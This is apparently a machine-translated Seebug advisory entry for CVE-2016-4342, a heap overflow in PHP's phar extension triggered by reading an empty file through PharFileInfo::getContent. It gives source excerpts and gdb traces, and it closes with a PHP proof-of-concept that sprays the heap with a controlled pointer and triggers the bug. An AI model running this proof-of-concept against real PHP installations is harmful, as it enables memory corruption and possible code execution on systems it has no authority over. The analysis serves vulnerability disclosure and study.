Lucene search

K
seebugJanesSSV:92541
HistoryNov 18, 2016 - 12:00 a.m.

PHP 'ext/phar/phar_object. c' heap overflow vulnerability, CVE-2016-4342)

2016-11-1800:00:00
janes
www.seebug.org
70

0.03 Low

EPSS

Percentile

89.9%

Parse . tar/. zip/. phar file, the stack boundary condition control is not strict, leading to possible heap overflow.

Create a new empty file"aaaa"(0 byte), packaged into a "aaaa. tar"file is not compressed before the aaaa file size is 0 it. By PharFileInfo object getContent() method to get the aaaa the contents of the file, for example: var_dump($phar['aaaa']->getContent());

View getContent internal implementation of the source code as follows:

``php ext/phar/phar_object. c:

PHP_METHOD(PharFileInfo, getContent) { …snip… Z_TYPE_P(return_value) = IS_STRING; Z_STRLEN_P(return_value) = php_stream_copy_to_mem(fp, &(Z_STRVAL_P(return_value)), link->uncompressed_filesize, 0);

if (! Z_STRVAL_P(return_value)) {
 Z_STRVAL_P(return_value) = estrndup("", 0);
}

… } ``

aaaa the file size is 0, so the transfer to the php_stream_copy_to_mem function for processing, as follows:

``php main/streams/streams. c:

PHPAPI size_t _php_stream_copy_to_mem(php_stream _src, char __buf, size_t maxlen, int persistent STREAMS_DC TSRMLS_DC) { …snip… if (maxlen == 0) { return 0; } … if (maxlen > 0) { ptr = _buf = pemalloc_rel_orig(maxlen + 1, persistent); while ((len < maxlen) && ! php_stream_eof(src)) { ret = php_stream_read(src, ptr, maxlen - len); … } ``

From the above code, as can be seen, If maxlen == 0, it will return 0, which is ok, but the function of the second parameter char **buf, will be allocated on the heap a space, from the current file pointer of the read data.

Now return to the previous function analysis, the variable zval return_value was uninitialized variables, return_value-&gt;str. val will be a pointer before calling the function is assigned the heap address points to the space, the gdb Debugger as follows:

`` => 0x817aacc : call 0x8267ad0 <_php_stream_copy_to_mem> 0x817aad1 : mov ecx,DWORD PTR [esp+0x54] 0x817aad5 : mov DWORD PTR [ecx+0x4],eax 0x817aad8 : mov eax,DWORD PTR [ecx] 0x817aada : test eax,eax Guessed arguments: arg[0]: 0xf7bd9a04 –> 0x8806a40 –> 0x826cad0 (: push ebx) arg[1]: 0xf7bdd4b8 –> 0xf7bdd56c –> 0x1d arg[2]: 0x0 arg[3]: 0x0

Breakpoint 2, 0x0817aacc in zim_PharFileInfo_getContent (ht=0x0, return_value=0xf7bdd4b8, return_value_ptr=0xf7bbf094, this_ptr=0xf7bdd49c, return_value_used=0x1) at /root/fuzz/php-5.6.17/ext/phar/phar_object. c:4889 4889 Z_STRLEN_P(return_value) = php_stream_copy_to_mem(fp, &(Z_STRVAL_P(return_value)), link->uncompressed_filesize, 0); ``

From the above it can be seen that the current return_value-&gt;str. val is 0xf7bdd56c.

As before the analysis above, maxlen==0,_php_stream_copy_to_mem returns 0 which is ok, but the function is called after the parameters*buf => return_value-&gt;str. val retains the function calls process the data, as follows:

=&gt; 0x817aad1 &lt;zim_PharFileInfo_getContent+305&gt;: mov ecx,DWORD PTR [esp+0x54] 0x817aad5 &lt;zim_PharFileInfo_getContent+309&gt;: mov DWORD PTR [ecx+0x4],eax 0x817aad8 &lt;zim_PharFileInfo_getContent+312&gt;: mov eax,DWORD PTR [ecx] 0x817aada &lt;zim_PharFileInfo_getContent+314&gt;: test eax,eax 0x817aadc &lt;zim_PharFileInfo_getContent+316&gt;: jne 0x817aa21 &lt;zim_PharFileInfo_getContent+129&gt; [------------------------------------------------------------------------------] Legend: code, data, rodata, value 0x0817aad1 4889 Z_STRLEN_P(return_value) = php_stream_copy_to_mem(fp, &(Z_STRVAL_P(return_value)), link-&gt;uncompressed_filesize, 0); gdb-peda$ x/10wx 0xf7bdd4b8 0xf7bdd4b8: 0xf7bdd56c 0x088086a0 0x00000001 0x00000006 0xf7bdd4c8: 0x00000000 0x00000010 0x0000001d 0x08820b20 0xf7bdd4d8: 0xf7bd97c4 0x00000091 gdb-peda$ print *(zval*)0xf7bdd4b8 $2 = { value = { lval = 0xf7bdd56c, dval = 1.0010109254636237 e-267, str = { val = 0xf7bdd56c "\035", len = 0x88086a0 }, ht = 0xf7bdd56c, obj = { handle = 0xf7bdd56c, handlers = 0x88086a0 &lt;spl_filesystem_object_handlers&gt; }, ast = 0xf7bdd56c }, refcount__gc = 0x1, type = 0x6, is_ref__gc = 0x0 }

0xf7bdd56c remain in the ZVAL(return_value).

After this str. the val pointer will be passed to _efree to clean up the vm stack.

Somehow, I can manage 0xf7bdd56c before the address, there is absolutely able to manage mm_block(ESI register) of the next address, as follows:

`` zend_alloc. c:

static void _zend_mm_free_int(zend_mm_heap _heap, void * _p ZEND_FILE_LINE_DC ZEND_FILE_LINE_ORIG_DC) { …

next_block = ZEND_MM_BLOCK_AT(mm_block, size);
if (ZEND_MM_IS_FREE_BLOCK(next_block)) {
 zend_mm_remove_from_free_list(heap, (zend_mm_free_block *) next_block);
 size += ZEND_MM_FREE_BLOCK_SIZE(next_block);
}

… ``

We can take it over to the next address, and further control the stack


                                                <?php

echo "Making .tar file...\n";

$phar = new PharData('poc.tar');
$phar->addFromString('aaaa','');

echo "Trigger...\n";

//prepare
$spray = pack('IIII',0x41414141,0x42424242,0x43434343,0x4444444);
$spray = $spray.$spray.$spray.$spray.$spray.$spray.$spray.$spray;
$pointer = pack('I',0x13371337);


$p = new PharData($argv[1]);

// heap spray 
$a[] = $spray.(string)0;
$a[] = $spray.(string)1;
$a[] = $spray.(string)2;
$a[] = $spray.(string)3;
$a[] = $spray.(string)4;
$a[] = $spray.$pointer.(string)5;

var_dump($p['aaaa']->getContent());

// If this poc doesnt work, please un-comment line below.
// var_dump($p);
?>